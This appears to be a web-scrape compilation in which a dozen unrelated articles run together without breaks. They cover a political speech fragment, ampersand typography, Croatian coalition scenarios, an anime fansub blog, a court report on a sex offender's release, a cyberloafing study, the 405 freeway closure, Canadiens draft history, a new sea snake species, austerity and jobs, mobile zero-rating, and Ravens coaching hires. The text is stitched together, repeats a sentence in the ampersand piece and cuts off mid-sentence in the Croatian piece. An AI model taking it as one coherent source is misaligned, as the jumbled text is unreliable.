What President Trump wants to do with that in the next year is to follow on with that, to rebuild America through an infrastructure plan, to reform welfare, to move people even more from welfare to work in a growing economy, to confront the opioid crisis that is besetting so many American families. There's great, great work to do and I know that when we roll our sleeves up on January first and go to work in 2018, the president will stay just as focused on the mission that he was elected to advance: to make America safe again, to make America prosperous again and, to borrow a phrase, to make America great again."Cheerily nuzzled above the “7” key like a pear-shaped pill bug, the ampersand is perhaps the most intriguing character on the keyboard. While all letters and punctuation marks look similar enough in abstract, the ampersand feels unique, like a shape-shifter that could transform at a moment’s notice. For type designers and aficionados both, it isn’t so much a character as it is a character, “usually a tirelessly entertaining one, perhaps an uncle with too many tricks,” as Simon Garfield wrote in his 2012 book, Just My Type.
advertisement
advertisement
advertisement
In the 19th century, the ampersand was recognized as the 27th letter of the alphabet, and taught as such to British schoolchildren. In the 19th century, the ampersand was recognized as the 27th letter of the alphabet, right after “Z,” and taught as such to British schoolchildren. At the time, it was common to refer to letters that could also be interpreted as words as per se letters: e.g. per se “A” (as opposed to article “A”), and per se “I” (as opposed to pronoun “I.”) Since it stood for “and,” the ampersand was the third of these per se letters, so when school children recited their ABCs, they ended it: “…W, X, Y, Z, and per se and.” Get a couple generations of kids slurring “and per se and,” and you get the word ampersand. Even if it isn’t today, the fact that the ampersand was once considered the 27th letter might be why it looks so uniquely at home in the middle of other letters, as is the case with AT&T, H&M, A&W, and so on. In fact, in the business world, the ampersand has uncommon status. It’s the typographical equivalent of a wedding ring, used to mark permanent partnerships, like Marks & Spencer, Johnson & Johnson, Barnes & Noble, and Ben & Jerry’s. Why designers love ampersands Although his own partnership by ampersand flared out, Jonathan Hoefler (now of Hoefler & Co.) still loves the character. Speaking to Wired, Hoefler tried to sum up his love for the ampersand, which he says he’s been known to draw “to excess.” “It’s always an opportunity for adventure,” he says. “Even the most conservative typefaces can give sanctuary to a whimsical ampersand or two.” Hoefler’s not alone in finding the ampersand adventurous. The character’s ability to be “whimsical” even in otherwise staid fonts is one that is called out by many type designers as its unique quality. “The ampersand is the one glyph where type designers are able to let loose and be a little more creative,” says Jeremiah Shoaf, a freelance designer and the editor of Typewolf, a popular blog about typefaces which uses a Baskerville ampersand for its logo. That’s because ampersands are usually only used for display type–the large or eye-catching type used in headlines, signage, and advertisements–so the character can be more ornate, even in fonts that are primarily designed for text. A good example of this effect in action are the ampersands of Kings Caslon, Bookmania, Didot Italic, and Cochin Italic, all of which really cut loose and be more flamboyant than their associated typefaces. But it’s in keeping with the kitchen sink nature of ampersands that while some designers love them for their whimsy, others see only order. In an email, famed type designer Erik Spiekermann suggests the reason he loves ampersands is because their shape appeals to the mathematical bent of his orderly German mind. “I like designing them because I like designing figures, and the ampersand is like an 8 with bits added,” he says. In addition to the many ampersands he has designed for his popular typefaces, Spiekermann has an unusual way of drawing ampersands in his day-to-day correspondence, where the character looks like a stylized @ symbol. He describes the fluidity of what people expect an ampersand to look like as affording designers a lot of opportunity to play around. Erik Spiekermann The Great Dinosaur of Type At the end of the day, it’s incredibly difficult to succinctly define the ampersand–which is, of course, exactly what makes it so interesting. It can be almost anything you want it to be. But in an email about his fascination with the ampersand, Tobias Frere-Jones (formerly wedded by an ampersand in Hoefler & Frere-Jones, now of Frere Jones Type) comes closest. He writes:
advertisement
In the history of our alphabet, the ampersand is a dinosaur. It should have gone extinct a long time ago, but has survived nonetheless. We use it so frequently that it’s easy to forget its origin as two letters entangled, spelling out a word in Latin. The written forms of Latin had scores of contractions and other marks for abbreviation. All of those marks died alongside the Latin language itself, except for the ampersand. (And much less prominently, the “Rx” symbol we now take to signify pharmaceuticals.) Visually, the ampersand is a loner. Thanks to its convoluted development, it has no relatives among any of the letters. And it has a strange brief to satisfy, operating on the same scale as letters but never being mistaken for one. So the type designer is left to wing it, right from the start. It’s tempting to think that the top bowl will find guidance in the figure eight, or that the diagonals can cribbed off the K or X. It never works out that way. Usually, letters help to form one another, by setting precedents and providing contexts. But the ampersand doesn’t receive any of that support. That makes it hard to draw, because so many different shapes might look plausible at first. But it also opens an unusually large window for experimentation and risk. It’s how the designer can put on a fireworks show in this one shape, especially in seriffed italics. In the end, the ampersand is a beautiful and uncooperative creature, one we’re lucky to have inherited. If there is any way to summarize the ampersand, that should be it: the beautiful and uncooperative dinosaur who lives on in your fonts. May the ampersand never go extinct, and never be fully tamed.After yesterday’s elections results, there are four possible scenarios for the immediate political future in Croatia. Under the leadership of Andrej Plenković, HDZ has recovered and he is now in the best position to form a new government. However, the key role will also belong to MOST, since without them there will probably be no government, reports Jutarnji List on September 12, 2016.
HDZ – MOST – Milan Bandić – Minority MPs
Andrej Plenković will form a coalition with MOST. This is the most realistic option, although HDZ and MOST will need additional coalition partners, primarily two MPs belonging to Milan Bandić and representatives of national minorities. If Plenković reaches an agreement with this group, the government with him as prime minister would have the support of more than 80 MPs, and quite a solid majority. The chances for this scenario are quite high. Serbian minority leader Milorad Pupovac has repeatedly praised Plenković in interviews. In addition, Serbian party SDSS clearly wants to enter the new government because they do not want to miss this opportunity. The key will be Petrov and whether he will continue to insist on his demands for entering into a coalition, some of which are difficult to implement. That implies new, long negotiations and a series of currently unforeseen additional conditions with Petrov and his team might demand. Since Bandić has just two MPs, it would be possible to form this coalition even without him.
SDP – MOST – IDS – Minority MPs
SDP would probably accept everything in order to join forces with MOST, but that attempt would almost certainly fail. SDP president Milanović is completely unacceptable to MOST, and Petrov has also issued an ultimatum which would require the SDP-led People’s Coalition to get rid of HNS president Vrdoljak and HSS president Krešo Beljak, heads of two parties of the People’s Coalition. Even if they were to agree such a coalition, it would be an alliance condemned to swift destruction. However, according to latest rumours, Milanović probably will not be SDP president for too much longer.
HDZ – SDP
This is not a very likely scenario, especially since HDZ has more parliamentary seats than SDP and its coalition partners. Croatia would get a stable government with a two-thirds parliamentary majority but, on the other hand, it would mean there would be no serious opposition and that would create a political system which would be appropriate only if the country was facing a major crisis, which is still not the case.
New elections
The Constitution provides for the President to name as Prime Minister-Designate a person who enjoys the confidence of the majority of all MPs. The Prime Minister-Designate then has 30 days to form a government, although that period can be extended for further 30 days. If there is still no new government, President can name another Prime Minister-Designate, who then has 30 days to try to do the same. If that second attempt does not |
a long while ago if I could translate the Kaima summon song, if I can find a recording of it on YT or something I might as I don’t have Shinuchi so I don’t think I can hear it in my Honke without getting it as a trade or something.
So, I guess I’ll give my thoughts on the movie. Spoilers may be follow so read at your own risk.
It was really different than I had expected. I was expecting something the level of the Pokémon movies, with a pinch of the first Spongebob Movie thrown in. Surprisingly, the humor was well handled along with the story. Keizou’s character definitely wasn’t what I was expecting from him and I really enjoyed his growth. I also like how Keita and Keizou grow to like each other over the course of the movie, instead of being instant friends. It was nice that the story was taken seriously, but that they weren’t afraid to pull their usual style of gags throughout the film. Knowing the show, I expected Spongebob Movie level of humor that quickly goes stale within 20 minutes, but while humor stayed at the core of the film, they didn’t center everything around trying to be funny. There’s quite a few really good mood whiplash scenes, my personal favorite being the cut to Ubaune’s backstory.
Anyway, thanks everyone for being patient. If a higher quality version of the raw goes up at some point in the future (I’m really starting to doubt it), I will likely rerelease these subs formatted for that version, but otherwise I’m done with the movie. I may make plans concerning Movie 2 if I don’t see anyone putting out the raws for Movie 1 on nyaa and such. This was definitely a test of endurance for me, and I’m glad I was able to share this movie with you. If you have anyone who wants to get into Youkai Watch, this it a great introduction. Or you could just watch it on its own, it stands on its own just fine.
Thanks for your patience everyone, regular episodes coming soon!
AdvertisementsSANTA ANA (CBSLA.com) — An Orange County jury determined Friday that a twice-convicted child molester, who voluntarily had himself castrated in his bid for freedom from a state mental hospital, is no longer a sexually violent predator and should be released.
In his testimony during the civil proceeding, in which prosecutors attempted to keep him confined to a state mental hospital, Kevin Reilly struggled to explain his sexual attraction to children. He blamed his behavior on financial woes caused by living above his means.
Reilly, 53, has admitted to molesting six children, even his own daughter after he kidnapped her and took her to Arizona.
“I can’t explain the sexual component,” Reilly said. “It’s illogical. As I sit here today and think about it it’s almost repugnant. It is repugnant.”
Reilly pleaded guilty in August 1983 to molesting two Tustin girls and kidnapping his daughter and was sentenced to three years in prison. He was sentenced to eight years in prison in Arizona for molesting a 4-year-old girl and her 8-year-old brother.
After Reilly’s release from prison, he was living with a new wife and their 4-year-old daughter, who he also molested, Carroll said. He was convicted in 1999 and sentenced to another three years in prison, but before he could be paroled, Orange County prosecutors filed a sexually violent predator petition against him.
In 2003, Reilly underwent a voluntary castration and has been treated for his pedophilia, Carroll said.
Although at least two experts who have evaluated Reilly do not think he would sexually assault anymore children, Carroll said, “He still has sexual thoughts of pre-pubescent girls. … He is not honest, he is not transparent and he continues to manipulate. The evidence is going to show he is still a sexually violent predator.”
Deputy Public Defender Holly Galloway said everyone agrees Reilly is a pedophile, but it’s debatable whether he would re-offend.
“The district attorney has to prove that he cannot control the pedophilia, that is what is at issue,” Galloway told the jury. “He had himself physically castrated so he would no longer have a sex drive. He did that on his own.”
(©2014 CBS Local Media, a division of CBS Radio Inc. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. Wire services contributed to this report.)Cyberloafing – engaging in non-work online activities while “on the clock” – is a modern form of counterproductive workplace behaviour. Rather than stealing company goods, the modern work environment with its various digital devices easily allows many employees to essentially steal company time.
Cyberloafing can lack malicious intent, but not always. In fact, in our study, we found cyberloafing can be associated with everyday levels of “dark” personality traits and a perceived ability to get away with it.
So who is likely to cyberloaf, and why?
Taking advantage
We had 273 employees complete an anonymous online survey measuring cyberloafing and everyday levels of “dark” personality traits.
These traits are considered to be a socially exploitative dark triad, characterised by callous and parasitic self-interest (psychopathy), manipulativeness (Machiavellianism), and arrogant superiority (narcissism), and are found in varying levels among the general population.
We expected that because of their willingness to pursue gains at the expense of others, among comparative feelings of entitlement, individuals with higher levels of dark triad traits would be more likely to engage in cyberloafing.
You might also like:
We also examined the extent to which people believe they can get away with things at work (their perceived ability to deceive). Unsurprisingly, given the feelings of superiority associated with the dark triad, these individuals tend to feel very capable of outsmarting others.
Among our participants, we found that psychopathy, Machiavellianism, and narcissism were associated with cyberloafing behaviours through their relationships with perceived ability to deceive. In other words, higher levels of dark triad traits led to a greater belief in the ability to get away with things, which in turn was related to higher levels of cyberloafing.
Our findings suggest that individuals high in subclinical psychopathy will engage in some cyberloafing behaviours regardless of their perceived ability to deceive. This fits with the nature of psychopathy: individuals high in psychopathic traits tend to lack remorse and don’t feel guilty, and perhaps are not too concerned with getting caught.
If an employer wants to reduce cyberloafing, strategies that counter employees’ perceived ability to deceive could be useful
More research is needed, given that our study was self-reporting and favoured female participants, but the results raise some interesting questions for workplaces and their ability to handle this behaviour.
Should the boss be concerned?
The organisational consequences of cyberloafing can range from brief employee distraction to more serious drain on company resources or security (for example, slower network performance or computer viruses).
Our study suggests that if an employer wants to reduce cyberloafing, strategies that counter employees’ perceived ability to deceive could be useful. Stressing accountability could act as a deterrent.
Employees could be informed that all web-based activity will be monitored, but surveillance runs the risk of invading employee privacy and creating an unpleasant work environment.
Fortunately, cyberloafing is not a purely negative workplace behaviour. Internet browsing can have a positive impact on employees’s emotions, allowing a measure of stress release. It can also boost productivity in some circumstances by providing employees with a short break so they can recover their concentration.
Hyperconnectivity is also an issue
While employees slip personal online activities into their work time, their work may also be encroaching on their personal lives.
Devices and online tools encourage 24-7 connectivity to the workplace. One study suggests that employees who receive company-provided smartphones feel expected to be constantly connected and responsive to work at all times.
For employers, this is both good and bad news. The perception of being “on call” might increase the volume of work they get from their employee. However, constant connection might lead to exhausted, burnt-out workers.
Home-work boundary flexibility is associated with higher job satisfction
Employees have traditionally sought to find “work-life balance”, but for some people this line is now blurred.
Cyberloafing and hyper-connectivity can be seen as two sides of the same coin. People are engaging in personal online activities while in the workplace, and work activities while at home.
A new definition of ‘balance’?
Some studies suggest that the terminology should evolve, with employees now seeking “work-life flexibility”, where an employee controls the amount of time they dedicate to work and life, integrating the two as necessary.
For example, you might take a work call while watching your child’s soccer match, but duck out of work to post your best friend’s birthday present. The key point is that the employee feels they have the ability to handle competing demands.
Exploratory research indicates that home-work boundary flexibility is associated with higher job satisfaction. The same study suggests that for those with a permeable work boundary (that is, the ability to do personal tasks at work), there was less time-based work and family conflict. However for those with a permeable home boundary (allowing work tasks to be done during personal time), there was more time-based work and family conflict.
Our study suggests that a worker’s perceived ability to take advantage of an employer is a key part of cyberloafing. But it’s a two-way street: employers need to think about whether they are also taking advantage of their hyper-connected workers.
This article originally appeared on The Conversation, and is republished under a Creative Commons licence.
To comment on this story or anything else you have seen on BBC Capital, please head over to our Facebook page or message us on Twitter.There's no way to plan for Carmageddon, the three-day shut down of one of the most vital stretches of freeway in Los Angeles, without having to field some unusual requests or address oddball contingencies.
Take the Facebook group that has proposed holding a block party on a Santa Monica Boulevard ramp to the 405, complete with beer and guitars.
There's also the enterprising marketers who asked CalTrans for permission to spray paint a bridge abutment with graffiti reading "The Apes Will Rise" to promote the new "Planet of the Apes" movie.
Carmageddon: Full coverage of the 405 freeway closure
A group of bicyclists sought permission to ride down the steep inclines of freeway in the Sepulveda Pass during the weekend closure. But those ideas ultimately were nixed because of safety concerns.
"In planning for this closure, we gathered the best emergency around," said Cmdr. Andy Smith. "We tried to think of everything but some of these requests are beyond even what we had anticipated."For generations, the Habs have been dogged by accusations that their historic Stanley Cup success was because they had territorial rights to the best players French Canada had to offer. In this great article, originally published May 12, 2010, former THW contributor Mike Moore lays out why all those claims of an unfair advantage are wrong.
I’ve heard it more than once. You’ve probably heard it yourself, especially if you’re a fan of the Montreal Canadiens. Some misinformed anti-Habs fan usually brings it up. It’s a myth passed on from one generation to the next, an old wives’ tale stoked by jealousy or emotions even more sinister. You know where I’m headed — the Montreal Canadiens have won all of those Stanley Cups in their team history because the NHL traditionally gave them exclusive territorial rights to all French Canadian players. Ugh, such ignorant nonsense!
Throughout its history, the NHL has been governed by a President and board of governors whose best interest has always been equal and fair competition. Do you really believe the NHL could have survived over 90 years if one team had been given such an obviously huge and advantageous privilege?
Mr. Frank Selke and his Vision
Here’s what really happened. In 1946, Frank Selke became General Manager of the Montreal Canadiens, a team nicknamed “The Flying Frenchmen” long before the formation of the National Hockey League. He was a man of extraordinary foresight and Mr. Selke had a vision.
He upgraded the Montreal Forum to attract more fans. More fans meant more revenue. With these additional funds, Selke started sponsoring minor and junior league teams across North America, especially in the province of Quebec. In turn, talented players from sponsored teams naturally migrated to the Canadiens if they were deemed to be NHL material. At one point, there were 10,000 players on 750 teams across the continent that were considered a part of the Canadiens’ farm system, a stable of future prospects larger than that of the five other NHL teams combined.
Most French Canadian players, especially those from Quebec, dreamed of one day dressing up for le bleu, blanc et rouge. However, there were plenty of exceptions. Hall-of-Famer Marcel Pronovost who hailed from Lac-de-Tortue, Quebec, was scouted by the Detroit Red Wings in the late 1940’s and never played a game for the Montreal Canadiens in his long, illustrious career. He was never owned by the Canadiens’ organization in any way.
Same story for future Hall-of-Famers Rod Gilbert and his buddy Jean Ratelle. They were backwoods Quebecois who were scouted by a guy named Yvon Prud’homme of the New York Rangers and signed by New York in the mid-1950’s. Ratelle couldn’t speak a word of English when he joined the Guelph Biltmores of the Rangers’ organization.
Hubert “Pit” Martin was another one. Unlike the rest of his family, Pit was a French Canadian Quebecer whose favorite team was the Red Wings, so he joined their organization. Martin would enjoy a long NHL career in the 1960’s and ‘70’s and never played a single game for the Habs. There are many more examples of successful French Canadian players who were never Montreal Canadiens property under the old sponsorship system.
The “New NHL” of the 1960’s
The hockey landscape changed in the 1960’s with the gradual elimination of the sponsorship system. President Clarence Campbell had league expansion in the back of his mind and he envisioned a level playing field whereby all teams would have equal opportunity to recruit fresh young talent. Thus in 1963, the NHL conducted its first Amateur draft.
Needless to say, the draft was a brand new game with rules that required much refinement that evolved over several years. Only 21 players were selected in the first year, mainly because amateur players who were already on teams’ sponsorship lists were ineligible to be drafted. The Boston Bruins had finished last in the league in 1962 and were scheduled to draft first overall. For some reason, they chose to go third instead.
Having built an unequaled and powerful empire of feeder teams across North America, the Montreal Canadiens stood to lose the most by the institution of the new draft system. In recognition and as compensation, the NHL granted the Canadiens the choice of either drafting in turn with other teams or selecting the two French Canadian players of their choice before any other team drafted.
This may seem like an outrageously biased allowance, given the importance of the NHL’s Entry draft of today. How could they grant so much leverage to one team? But this was 1963, don’t forget — all of the valuable junior talent was already signed and wrapped up through sponsorship. There simply wasn’t much highly desirable talent left to be drafted. Nobody raised an eyebrow. In fact, the Canadiens didn’t even make use of their French Canadian privilege in the inaugural draft. Instead, they drafted Garry Monahan first overall, a young prospect from Barrie, Ontario right out of the back yard of the Toronto Maple Leafs.
Using The French Canadian Rule
For the first five years of the Amateur draft, from 1963 to 1967, the Canadiens never invoked their French Canadian option. In 1968, the Canadiens saw an opportunity and finally made use of their exclusive right for the first time. They selected goaltender Michel Plasse and a centreman from Montreal named Roger Belisle. Plasse played 32 games for the Habs as a backup goalie and was subsequently lost with no compensation in the 1974 Expansion draft. Roger Belisle never played a game in the NHL.
In 1969, the Canadiens used the French Canadian rule again to select Rejean Houle and Marc Tardif before the other teams drafted in regular order. Although both of these 1969 selections were serviceable NHL’ers, they were hardly the foundation of any future Habs dynasty. Both players were lost to the rival WHA after four seasons with Montreal.
Au Revoir to the Rule
By 1969, the old sponsorship system had been completely phased out. The NHL voted to eliminate the French Canadian rule, otherwise, the Habs would have been happy to take junior phenom Gilbert Perreault from Victoriaville, Quebec in 1970. Perreault went on to become the foundation of the early Buffalo Sabres’ success.
That’s it. From 1970 forward, the Canadians built their mostly successful teams the old fashioned way, through wise trades and diligent draft picks. As the league expanded, the newer teams needed skilled players immediately. Still deeply stocked, the Canadiens could afford to give up serviceable players for future draft picks. Other Original Six teams had the same opportunity, but Habs’ General Manager Sam Pollock was the master. That’s how he secured Guy Lafleur and other superstars the Canadiens’ of the 1970’s employed while grabbing six more Stanley Cups.
The next time fans of a less successful team try to convince you that some unfair French Canadian advantage is the reason behind the 100-year and 24 Stanley Cup success story of Les Habitants, tell ‘em to do some homework and discover reality.A new species of egg-eating sea snake has been recently discovered in a formalin-filled jar in the Copenhagen Natural History Museum, Denmark.
The only specimen of the Mosaic sea snake, Aipysurus mosaicus, was found by chance by Prof John Elmberg of the Kristianstad University in Sweden and Prof Arne Rasmussen of the Royal Danish Academy of Fine Arts’ School of Conservation.
The scientists examined formalin-filled jars of snakes at the Natural History Museum in Copenhagen and found two sea snakes with the same name on the label, which had been there since being sent home by the great collectors of the eighteen hundreds.
“But they looked different and didn’t seem to belong to the same group of snakes. That was where the detective work began. After comparing the sea snakes with other similar species in other museums in Europe it was even more obvious that we had found a new distinct sea snake,” explained Prof Elmberg, who co-authored a paper reporting the discovery in the journal Zootaxa (full paper available from the Kristianstad University).
“Museums are probably full of undiscovered species, and are an invaluable archive worthy of protection, just like the jungle itself,” Prof Elmberg added.
The Mosaic sea snake was named after its unusually patterned skin, which looks just like a Roman floor mosaic, lives in one of the world’s most endangered environments – the tropical coral reefs around Northern Australia and Southern New Guinea.
“Sea snakes are a good indicator of how the coral reefs and other precious ecosystems are doing. If there are snakes left in the environment it shows that the reefs are healthy and intact,” Prof Elmberg said.
“There are millions of sea snakes, but how they live, where and at what depth is difficult to know exactly because these snakes are so difficult to study.”
Some species of sea snake are considered as having the strongest venom of all snakes, but because the species that the scientists discovered is one of the few that feed on fish eggs, it has only very small fangs and is therefore virtually harmless. Of all the 3,000 snake species in the world, only 80 or so live in the oceans.
“This discovery also highlights very clearly the importance of the museum’s treasure trove of biodiversity. There are lots of species still to be discovered in the world’s museums, which unfortunately often struggle to finance their operations,” Prof Elmberg concluded.
_______
Bibliographic information: Kate L. Sanders et al. 2012. Aipysurus mosaicus, a new species of egg-eating sea snake (Elapidae: Hydrophiinae), with a redescription of Aipysurus eydouxii (Gray, 1849). Zootaxa 3431: 1–18Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
Thank you for signing up. For more from The Nation, check out our latest issue
Subscribe now for as little as $2 a month!
Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter.
Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week.
Thank you for signing up. For more from The Nation, check out our latest issue
Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits.
Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine?
A job fair in Washington, DC. (Reuters/Jason Reed) Ad Policy
The US economy is suffering from a nasty case of austerity.
Only 165,000 new jobs were created in April—far fewer than is needed to address existing unemployment and to create positions for the millions of Americans who are entering the workforce.
More than 11.7 million active job seekers cannot find work. And that figure does not include millions of Americans who have given up on looking for work, or who are severely under-employed. Add them in and the real unemployment’s at 13.9 percent.
Even the jobs that are being created tend to be in sectors of the economy where wages tend to low and benefits often nonexistent. For instance, the latest report notes growth in the “temporary services” sector. But there’s zero job growth in manufacturing.
“This is a classic ‘hold-steady’ report—enough job growth to keep the unemployment rate stable but not much more,” Heidi Shierholz, an economist with the Economic Policy Institute, says of the latest news from the US Department of Labor. “In good times, this would be fine, but at a time like this, it represents an ongoing disaster.”
Why are things so slow?
In a word: austerity.
“This month’s abysmal jobs number—165,000 new jobs in April, barely enough to cover new people coming into workforce—is a self-inflicted wound. Government austerity—[misguided tax policies] and spending cuts—is suffocating the economy, just when it needs air,” explains Robert Borosage, the co-director of the Campaign for America’s Future. “And the perversity will get worse. The sequester cuts are only now beginning to hit. Austerity is driving Europe deeper into recession. China is slowing. US exports will suffer. And Washington is about to descend into new self-manufactured crises around next year’s budget and the debt ceiling. The positive signs in housing, the extraordinary measures taken by the Federal Reserve, the soaring stock market are undermined by Washington’s failure.”
Congress cannot even agree on the problem. Despite the fact that their approach has been discredited—academically and practically—there are still members of the House and Senate who buy into the fantasy that what’s holding the economy back is government spending. Typical is Senator Ron Johnson, R-Wisconsin, who says, “To get the economy moving and generate real, self-sustaining job creation, we need to limit spending and reject more tax increases.”
In fact, the government should be targeting investments to spur job growth. As Dean Baker, the co-director of the Center for Economic and Policy Research, says, “Unless the government takes steps to boost growth, we will be seeing millions of people needlessly denied employment for over a decade. That should be the central focus of everyone in Washington.”
The immediate threat is posed by sequester cuts—following a classic austerity model. As they are implemented, the Congressional Budget Office projects, growth will be reduced by 0.5 percent, costing as many as 700,000 jobs. Congressman Mark Pocan, a Wisconsin Democrat who has emerged as a key player in the Congressional Progressive Caucus, says the House and Senate need to “pass a budget that ends the job-killing sequester cuts for everyone—not just the well-connected—and makes investments in job-creating programs such as infrastructure, education, and research and development.”
Pocan’s got the right answers. Unfortunately, there are too many politicians in Washington who have yet to start asking the right questions about how austerity is strangling economic recovery.
The entire austerity enterprise is based on faulty math. Listen to John Nichols's take.The Federal Communications Commission recently gave mobile carriers the green light to expand zero-rating, a method of favoring online content by exempting it from data caps.
At the same time, carriers have been competing to offer the best unlimited data plans—and without data caps, there’s no need for zero-rating. But that doesn’t mean zero-rating and similar free data offers are over and done with, because many customers are still going to buy cheaper, limited data plans.
AT&T and Verizon seemed reluctant to make unlimited data plans widely available until they faced competitive pressure to do so. Those two carriers have created new sources of revenue by seeking payments from companies that want to bypass data caps in order to reach more customers.
AT&T and Verizon have also made their own video services more attractive by exempting them from caps. You can expect that to continue despite the rise of unlimited data and possibly accelerate because the FCC’s new Republican leadership intends to allow both paid and unpaid data cap exemptions.
Data caps still reality for many customers
“The majority of users are on limited/tiered plans because it's much cheaper than unlimited,” Susie Kim Riley, the CEO and founder of Aquto, told Ars. Aquto is a key player in zero-rating because it makes technology that automates the process of bringing in new data sponsors, i.e. companies that want to pay carriers for data cap exemptions. Aquto, an AT&T partner since the carrier launched its “Sponsored Data” program in January 2014, also helps data sponsors run their campaigns.
After Republican Ajit Pai was appointed FCC chair by President Donald Trump, the commission rescinded its previous determination that AT&T and Verizon Wireless violated net neutrality rules by allowing their own video to stream free while charging other companies for data cap exemptions.
Telcos were "cautious" with zero-rating when Democrat Tom Wheeler was FCC chairman but "will move a little faster" now, Riley said. "The FCC being more relaxed regarding net neutrality sends an important signal to the market that they are going to be more flexible with carriers," she said.
Although FCC Chairman Ajit Pai claimed that his decision to allow zero-rating led to the resurgence of unlimited data plans, zero-rating content could help keep customers on limited plans by making it less likely they'll go over their data caps.
AT&T “going hard” on zero-rating
AT&T CEO Randall Stephenson was asked about zero-rating’s future under Chairman Pai in an earnings call on January 25. Stephenson said AT&T was already “going hard” on zero-rating, and that won’t change. “Anybody who wants to take advantage of zero-rating, they can come in and take advantage of the lowest wholesale rate we offer,” Stephenson said, according to a Seeking Alpha transcript. “We actually were quite confident that zero-rating, as we were implementing it, was fine under a Pai chairmanship or anybody else’s chairmanship.”
Under Wheeler, the FCC argued that the cost of exempting all video from data caps would make it prohibitively expensive for online video services to compete on a level playing field against AT&T’s DirecTV Now and Verizon’s Go90. Online video providers would have to pay $47 a month to AT&T to zero-rate the video of just one customer who watches for 30 minutes a day, the FCC estimated.
Pai threw out the FCC’s previous findings. “Going forward, the FCC will not focus on denying Americans free data,” he said in a speech this week.
Though Riley believes free data offerings have a bright future, she acknowledged that it's too expensive to zero-rate a full-fledged video service that could compete against the likes of DirecTV Now.
"I think that’s too expensive, I don’t really see that happening," Riley said. "I don't foresee Google paying for all of the bits for YouTube. The way they monetize is through advertising, and there aren’t enough advertising dollars to pay for all of the carriage for data."
So far, paid zero-rating has been used heavily for advertising and marketing. The maker of WPS Office, an office document editing program, also pays AT&T for zero-rating.
Aquto also says it runs data sponsorship campaigns with Verizon, although its exact relationship with that carrier is unclear. A Verizon spokesperson told Ars that it has “several pending issues with [Aquto]. We have no comment on our business arrangement at this time.” By contrast, AT&T puts Aquto atop its list of Sponsored Data providers.
Aquto says it also works with carriers outside the US, such as Vodafone, Orange, Movistar, and Telcel.
Verizon’s paid zero-rating program is called FreeBee Data 360. Verizon told Ars that while it has nothing new to report on its sponsored data offers, “we believe the FCC was right to recognize that consumers love these types of services. Reaction to what Verizon has offered over our Go90 app has been extremely positive.”
T-Mobile zero-rates many video and music services on its limited-data plans but doesn’t charge companies for the data cap exemptions. T-Mobile also stopped selling limited plans to new postpaid customers, though existing customers can keep their old plans. Sprint has dabbled in zero-rating, but it is trying to get new customers by offering the cheapest unlimited data plan of any major carrier.
Net neutrality forced carriers to scrutinize decisions
Instead of banning zero-rating outright, the FCC's net neutrality rules allow data cap exemptions to be examined on a case-by-case basis to determine whether consumers or competitors are harmed. Pai has repeatedly said he intends to eliminate the net neutrality rules and has not proposed any specific replacement.
Because of the net neutrality rules, carriers "have to scrutinize every single thing they do, and that has definitely had an impact on slowing down adoption," Riley said. Deployment slows down "any time legal is involved," she said. "They could have done things at least a year earlier if it hadn’t been for the fear of some of these rules."
Wheeler's FCC was obviously more intent on vigorously enforcing net neutrality rules than the FCC's current leadership. During Wheeler's tenure, it was “very difficult for operators to move quickly with innovative new business models because they’re always afraid the FCC is going to tell them they can’t do something,” Riley said.
Data rewards vs. zero-rating
But operators did go ahead with zero-rating during the Wheeler years, and the lessons learned from early implementations will help determine what happens next while Republicans control the FCC, Riley said. Specifically, she said there has been a move toward a slightly different model where companies give chunks of data to customers instead of exempting specific online services from caps.
For example, Riley said a hotel might entice customers by offering them 2GB of data if they book a room on their smartphone. The hotel would be paying AT&T or Verizon to add data to a customer's account. Instead of zero-rating a specific website or application, the customer could use the free data for anything on the Internet.
Although this "data rewards" model gives an advantage to businesses that pay the mobile carrier, Riley argues that it shouldn't be considered a net neutrality violation. Riley said she even talked with FCC officials about the program while Wheeler was still chair.
"We explained to the FCC how data rewards work, and the feedback we got from them is 'this looks to be an OK program, it’s not the same as zero-rating,'" she said. By giving customers a bucket of data that can be used on anything, carriers aren't favoring one piece of content over another, she argued.
Riley said her talk with FCC officials was "informal" and that there's no official record of it. But her account of the discussion seems to line up with the FCC's policy on zero-rating. Even under Wheeler, the commission's objections to zero-rating were limited; the Democratic-led commission determined there was no competitive harm from T-Mobile's model in which zero-rating is free for music and video providers. (T-Mobile did reduce video quality to make it use less data, however.) The FCC's new Republican leadership hasn't expressed opposition to any form of zero-rating.
While a zero-rated music or video service would appeal to customers with data caps, simply zero-rating an advertisement or app for marketing purposes isn’t that enticing because there’s no additional benefit to consumers. Most new data sponsors are choosing the data rewards model instead of zero-rating specific websites or apps, Riley said.
“The sponsorship has to be a win-win, it has to have a clear benefit to the sponsor and a clear benefit also to the consumer... If you’re just zero-rating, it’s not always clear that the marketer is getting the benefit,” she said. “Just because you make a piece of content free doesn’t mean that somebody is going to buy more of your product.”
Aquto recently ran a campaign for a big CPG (consumer packaged goods) company in which customers “were given data rewards in exchange for engaging with a video,” Riley said. Companies like this often don't even have mobile apps, making zero-rating less appealing to them, she said.
“You can use data rewards to drive that kind of engagement, and so the data rewards has a much broader appeal than just zero-rating,” she said.
It’s not clear yet how big the financial opportunity from zero-rating will be for AT&T and Verizon. But like all startup founders, Riley argues that there is a huge potential market.
The markets for mobile advertising and marketing are in the $100 billion range. “If you were to take just small percentages of each of those markets over the next five years, it will be a multi-billion-dollar market,” Riley said.Leslie Frazier and Joe Cullen were both brought in from the Tampa Bay Buccaneers to coach the secondary and the defensive line respectively. Frazier's addition has been talked about. He was the coordinator in Tampa Bay and in Minnesota in both instances ran a 4-3 base front.
Joe Cullen is the addition that really makes one think. Coming over from a team who ran gap shooting principles leads me to thing it is likely the Ravens will employ some, if not most of their concepts.
